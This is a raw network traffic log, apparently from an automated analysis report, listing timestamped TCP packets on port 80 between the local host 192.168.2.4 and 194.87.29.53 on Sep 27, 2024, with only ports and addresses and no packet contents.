Sep 27, 2024 18:29:05.510684013 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.510694981 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.510696888 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.510704994 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.510708094 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.510716915 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.510731936 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.510734081 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.510759115 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.510786057 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.511285067 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.511295080 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.511303902 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.511317968 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.511327028 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.511337042 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.511337996 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.511348009 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.511358976 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.511368036 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.511372089 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.511377096 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.511394024 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.511394978 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.511405945 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.511416912 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.511425018 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.511435032 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.511439085 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.511445045 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.511446953 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.511454105 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.511456013 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.511470079 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.511482954 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.511483908 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.511493921 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.511503935 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.511506081 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.511518002 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.511552095 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.511586905 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.512242079 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.512253046 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.512262106 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.512271881 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.512280941 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.512295961 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.512304068 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.512307882 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.512320042 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.512326002 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.512330055 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.512340069 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.512348890 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.512351036 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.512360096 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.512370110 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.512372971 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.512382030 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.512392998 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.512396097 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.512403011 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.512413025 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.512418032 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.512424946 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.512435913 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.512440920 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.512448072 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.512458086 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.512468100 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.512468100 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.512480021 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.512480021 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.512492895 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.512502909 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.512520075 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.512551069 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.513200045 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.513210058 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.513217926 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.513236046 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.513245106 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.513253927 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.513256073 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.513264894 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.513266087 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.513277054 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.513287067 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.513297081 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.513305902 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.513314009 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.513317108 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.513328075 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.513338089 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.513346910 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.513354063 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.513358116 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.513369083 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.513370991 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.513380051 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.513390064 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.513396025 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.513398886 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.513411999 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.513412952 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.513422966 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.513432980 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.513442993 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.513446093 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.513453007 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.513478041 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.513497114 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.514118910 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.514134884 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.514142990 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.514153004 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.514162064 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.514167070 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.514173985 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.514184952 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.514194012 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.514194965 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.514204979 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.514216900 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.514223099 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.514225960 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.514236927 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.514238119 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.514247894 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.514259100 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.514262915 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.514269114 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.514277935 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.514285088 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.514287949 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.514298916 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.514308929 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.514311075 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.514342070 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.514364004 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.524218082 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.524259090 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.524269104 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.524281025 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.524292946 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.524305105 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.524316072 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.524317980 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.524317980 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.524382114 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.524394035 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.524480104 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.524480104 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.524648905 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.524702072 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.524703979 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.524714947 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.524748087 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.524760008 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.524791956 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.524804115 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.524815083 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.524826050 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.524837017 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.524847031 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.524868965 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.525024891 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.525420904 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.525464058 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.525476933 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.525480986 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.525506020 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.525517941 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.525518894 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.525532961 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.525558949 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.525585890 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.525618076 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.525629044 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.525669098 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.525705099 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.525716066 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.525757074 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.525810003 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.525820971 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.525831938 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.525844097 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.525855064 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.525856018 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.525876045 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.525898933 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.525986910 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.526037931 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.526406050 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.526460886 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.526464939 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.526478052 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.526511908 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.526525021 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.526555061 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.526566982 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.526577950 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.526609898 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.526634932 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.526652098 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.526694059 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.526717901 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.526763916 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.527503967 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.527523994 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.527534008 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.527558088 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.527570009 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.527636051 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.527647972 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.527688026 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.527713060 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.527724981 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.527734995 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.527769089 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.527785063 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.528382063 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.528433084 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.528448105 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.528460026 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.528498888 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.528522015 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.528569937 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.528676987 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.528688908 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.528732061 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.528748035 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.528759956 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.528790951 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.528815031 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.528857946 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.528868914 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.528879881 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.528892040 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.528903961 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.528929949 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.528954983 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.528996944 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.529010057 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.529041052 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.529053926 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.529222012 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.529241085 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.529251099 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.529272079 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.529297113 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.529321909 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.529334068 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.529344082 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.529375076 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.529387951 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.529417038 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.529428959 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.529468060 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.742918968 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.742948055 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.742959023 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.742968082 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.742979050 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.742996931 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.743069887 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.743078947 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.743088961 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.743099928 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.743130922 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.743130922 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.743160963 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.743160963 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.743200064 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.743211985 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.743221045 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.743232012 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.743247986 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.743257999 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.743257999 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.743268967 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.743278027 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.743282080 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.743299007 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.743305922 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.743326902 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.743496895 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.743508101 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.743519068 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.743549109 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.743568897 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.743644953 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.743655920 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.743668079 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.743679047 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.743693113 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.743717909 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.743803978 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.743814945 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.743823051 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.743834019 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.743843079 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.743850946 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.743855000 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.743864059 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.743866920 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.743880033 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.743882895 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.743891954 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.743902922 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.743910074 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.743912935 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.743923903 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.743937016 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.743959904 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.743959904 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.744350910 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.744363070 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.744373083 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.744383097 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.744393110 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.744402885 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.744405985 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.744415045 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.744431019 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.744442940 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.744467974 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.744652987 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.744663954 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.744674921 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.744684935 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.744694948 CEST	80	60865	194.87.29.53	192.168.2.4
